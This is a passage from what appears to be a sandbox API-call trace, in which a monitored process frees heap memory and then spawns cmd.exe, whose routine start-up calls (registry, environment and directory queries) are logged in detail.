dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.849] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.857] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.857] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.859] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.862] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.862] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.863] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.863] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.863] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.863] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.900] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.916] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.924] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.924] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.925] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.925] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.926] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.927] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.927] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.928] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.930] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.930] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.930] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.934] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.935] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.935] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.936] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.942] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.942] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.944] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.945] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.953] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0093.318] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0093.338] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0093.340] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.341] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0093.341] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0093.342] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a48 | out: hHeap=0x490000) returned 1 [0093.343] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 [0093.343] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.346] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 [0093.346] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0093.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.347] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0093.349] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 [0093.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 [0093.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.351] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0093.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0093.353] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.355] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 [0093.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 [0093.357] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a38 | out: hHeap=0x490000) returned 1 [0093.358] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0094.133] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a40 | out: hHeap=0x490000) returned 1 Thread: id = 27 os_tid = 0xfc8 Thread: id = 28 os_tid = 0xe88 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x2c8000" os_pid = "0x510" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x118c" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x4d8 [0074.984] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7170b0000 [0074.984] __set_app_type (_Type=0x1) [0074.984] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7170c6d00) returned 0x0 [0074.984] __getmainargs (in: _Argc=0x7ff7170e9200, _Argv=0x7ff7170e9208, _Env=0x7ff7170e9210, _DoWildCard=0, _StartInfo=0x7ff7170e921c | out: _Argc=0x7ff7170e9200, _Argv=0x7ff7170e9208, _Env=0x7ff7170e9210) returned 0 [0074.984] _onexit (_Func=0x7ff7170c7fd0) returned 0x7ff7170c7fd0 [0074.985] _onexit (_Func=0x7ff7170c7fe0) returned 0x7ff7170c7fe0 [0074.985] _onexit (_Func=0x7ff7170c7ff0) returned 0x7ff7170c7ff0 [0074.985] _onexit (_Func=0x7ff7170c8000) returned 0x7ff7170c8000 [0074.985] _onexit (_Func=0x7ff7170c8010) returned 0x7ff7170c8010 [0074.986] _onexit (_Func=0x7ff7170c8020) returned 0x7ff7170c8020 [0074.986] GetCurrentThreadId () returned 0x4d8 [0074.986] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x4d8) returned 0x70 [0074.986] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffc37f90000 [0074.987] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="SetThreadUILanguage") returned 0x7ffc37faa990 [0074.987] SetThreadUILanguage (LangId=0x0) returned 0x409 [0075.349] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0075.349] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x49619bfaf8 | out: phkResult=0x49619bfaf8*=0x0) returned 0x2 [0075.349] VirtualQuery (in: lpAddress=0x49619bfae4, lpBuffer=0x49619bfa60, dwLength=0x30 | out: lpBuffer=0x49619bfa60*(BaseAddress=0x49619bf000, AllocationBase=0x49618c0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0075.349] VirtualQuery (in: lpAddress=0x49618c0000, lpBuffer=0x49619bfa60, dwLength=0x30 | out: lpBuffer=0x49619bfa60*(BaseAddress=0x49618c0000, AllocationBase=0x49618c0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0075.350] VirtualQuery (in: lpAddress=0x49618c1000, lpBuffer=0x49619bfa60, dwLength=0x30 | out: lpBuffer=0x49619bfa60*(BaseAddress=0x49618c1000, AllocationBase=0x49618c0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0075.350] VirtualQuery (in: lpAddress=0x49618c4000, lpBuffer=0x49619bfa60, dwLength=0x30 | out: lpBuffer=0x49619bfa60*(BaseAddress=0x49618c4000, AllocationBase=0x49618c0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0075.350] VirtualQuery (in: lpAddress=0x49619c0000, lpBuffer=0x49619bfa60, dwLength=0x30 | out: lpBuffer=0x49619bfa60*(BaseAddress=0x49619c0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffdd07, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0075.350] GetConsoleOutputCP () returned 0x1b5 [0075.751] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7170efbb0 | out: lpCPInfo=0x7ff7170efbb0) returned 1 [0075.751] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7170d8150, Add=1) returned 1 [0075.751] _get_osfhandle (_FileHandle=1) returned 0x254 [0075.751] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7170efc04 | out: lpMode=0x7ff7170efc04) returned 0 [0075.751] _get_osfhandle (_FileHandle=0) returned 0x248 [0075.751] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7170efc00 | out: lpMode=0x7ff7170efc00) returned 0 [0075.751] _get_osfhandle (_FileHandle=1) returned 0x254 [0075.751] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0075.751] _get_osfhandle (_FileHandle=1) returned 0x254 [0075.751] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7170efc08 | out: lpMode=0x7ff7170efc08) returned 0 [0075.751] _get_osfhandle (_FileHandle=0) returned 0x248 [0075.752] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7170efc0c | out: lpMode=0x7ff7170efc0c) returned 0 [0075.752] GetEnvironmentStringsW () returned 0x223cf4c5a10* [0075.752] GetProcessHeap () returned 0x223cf4c0000 [0075.752] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xa7c) returned 0x223cf4c64a0 [0075.752] FreeEnvironmentStringsA (penv="A") returned 1 [0075.752] GetProcessHeap () returned 0x223cf4c0000 [0075.752] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x8) returned 0x223cf4c6f30 [0075.752] GetEnvironmentStringsW () returned 0x223cf4c5a10* [0075.752] GetProcessHeap () returned 0x223cf4c0000 [0075.752] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xa7c) returned 0x223cf4c6f50 [0075.753] FreeEnvironmentStringsA (penv="A") returned 1 [0075.753] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x49619be9a8 | out: phkResult=0x49619be9a8*=0x7c) returned 0x0 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x0, lpData=0x49619be9c0*=0x4, lpcbData=0x49619be9a4*=0x1000) returned 0x2 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x1, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x0, lpData=0x49619be9c0*=0x1, lpcbData=0x49619be9a4*=0x1000) returned 0x2 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x0, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x40, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x40, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.753] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x0, lpData=0x49619be9c0*=0x40, lpcbData=0x49619be9a4*=0x1000) returned 0x2 [0075.754] RegCloseKey (hKey=0x7c) returned 0x0 [0075.754] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x49619be9a8 | out: phkResult=0x49619be9a8*=0x7c) returned 0x0 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x0, lpData=0x49619be9c0*=0x40, lpcbData=0x49619be9a4*=0x1000) returned 0x2 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x1, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x0, lpData=0x49619be9c0*=0x1, lpcbData=0x49619be9a4*=0x1000) returned 0x2 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x0, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x9, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x4, lpData=0x49619be9c0*=0x9, lpcbData=0x49619be9a4*=0x4) returned 0x0 [0075.754] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x49619be9a0, lpData=0x49619be9c0, lpcbData=0x49619be9a4*=0x1000 | out: lpType=0x49619be9a0*=0x0, lpData=0x49619be9c0*=0x9, lpcbData=0x49619be9a4*=0x1000) returned 0x2 [0075.754] RegCloseKey (hKey=0x7c) returned 0x0 [0075.754] time (in: timer=0x0 | out: timer=0x0) returned 0x5e449b17 [0075.754] srand (_Seed=0x5e449b17) [0075.754] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0075.754] malloc (_Size=0x4000) returned 0x223cf8254f0 [0075.754] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0075.755] malloc (_Size=0xffce) returned 0x223cf690080 [0075.755] ??_V@YAXPEAX@Z () returned 0x223cf690080 [0075.755] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x223cf690080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0075.756] malloc (_Size=0xffce) returned 0x223cf6a0060 [0075.756] ??_V@YAXPEAX@Z () returned 0x223cf6a0060 [0075.756] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x223cf6a0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0075.757] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0075.757] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0075.757] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0075.757] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0075.757] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0075.757] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0075.757] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0075.757] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0075.757] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0075.757] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0075.757] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0075.757] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0075.757] GetProcessHeap () returned 0x223cf4c0000 [0075.757] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c64a0) returned 1 [0075.757] GetEnvironmentStringsW () returned 0x223cf4c5a10* [0075.757] GetProcessHeap () returned 0x223cf4c0000 [0075.757] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xa94) returned 0x223cf4c7a10 [0075.757] FreeEnvironmentStringsA (penv="A") returned 1 [0075.757] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0075.757] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7170ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0075.758] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0075.758] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0075.758] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0075.758] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0075.758] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0075.758] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0075.758] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0075.758] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0075.758] malloc (_Size=0xffce) returned 0x223cf6b0040 [0075.758] ??_V@YAXPEAX@Z () returned 0x223cf6b0040 [0075.759] GetProcessHeap () returned 0x223cf4c0000 [0075.759] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x40) returned 0x223cf4c84b0 [0075.759] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x223cf6b0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0075.759] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x223cf6b0040, lpFilePart=0x49619bf520 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x49619bf520*="Desktop") returned 0x17 [0075.759] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0075.759] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x49619bf250 | out: lpFindFileData=0x49619bf250*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x223cf4c8500 [0075.760] FindClose (in: hFindFile=0x223cf4c8500 | out: hFindFile=0x223cf4c8500) returned 1 [0075.760] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x49619bf250 | out: lpFindFileData=0x49619bf250*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x223cf4c8500 [0075.760] FindClose (in: hFindFile=0x223cf4c8500 | out: hFindFile=0x223cf4c8500) returned 1 [0075.760] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x49619bf250 | out: lpFindFileData=0x49619bf250*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x20a77599, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x20a77599, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x223cf4c8500 [0075.760] FindClose (in: hFindFile=0x223cf4c8500 | out: hFindFile=0x223cf4c8500) returned 1 [0075.760] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0075.760] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0075.760] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0075.760] GetProcessHeap () returned 0x223cf4c0000 [0075.760] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c7a10) returned 1 [0075.760] GetEnvironmentStringsW () returned 0x223cf4c0fc0* [0075.760] GetProcessHeap () returned 0x223cf4c0000 [0075.760] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0xacc) returned 0x223cf4c8500 [0075.761] FreeEnvironmentStringsA (penv="=") returned 1 [0075.761] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x223cf690080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0075.761] GetProcessHeap () returned 0x223cf4c0000 [0075.761] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c84b0) returned 1 [0075.761] ??_V@YAXPEAX@Z () returned 0x1 [0075.761] ??_V@YAXPEAX@Z () returned 0x1 [0075.761] GetProcessHeap () returned 0x223cf4c0000 [0075.761] RtlAllocateHeap (HeapHandle=0x223cf4c0000, Flags=0x8, Size=0x4016) returned 0x223cf4c8fe0 [0075.761] GetProcessHeap () returned 0x223cf4c0000 [0075.761] RtlFreeHeap (HeapHandle=0x223cf4c0000, Flags=0x0, BaseAddress=0x223cf4c8fe0) returned 1 [0075.761] GetConsoleOutputCP () returned 0x1b5 [0076.081] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7170efbb0 | out: lpCPInfo=0x7ff7170efbb0) returned 1 [0076.081] GetUserDefaultLCID () returned 0x409 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7170ebb78, cchData=8 | out: lpLCData=":") returned 2 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x49619bf8e0, cchData=128 | out: lpLCData="0") returned 2 [0076.081] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x49619bf8e0, cchData=128 | out: lpLCData="0") returned 2 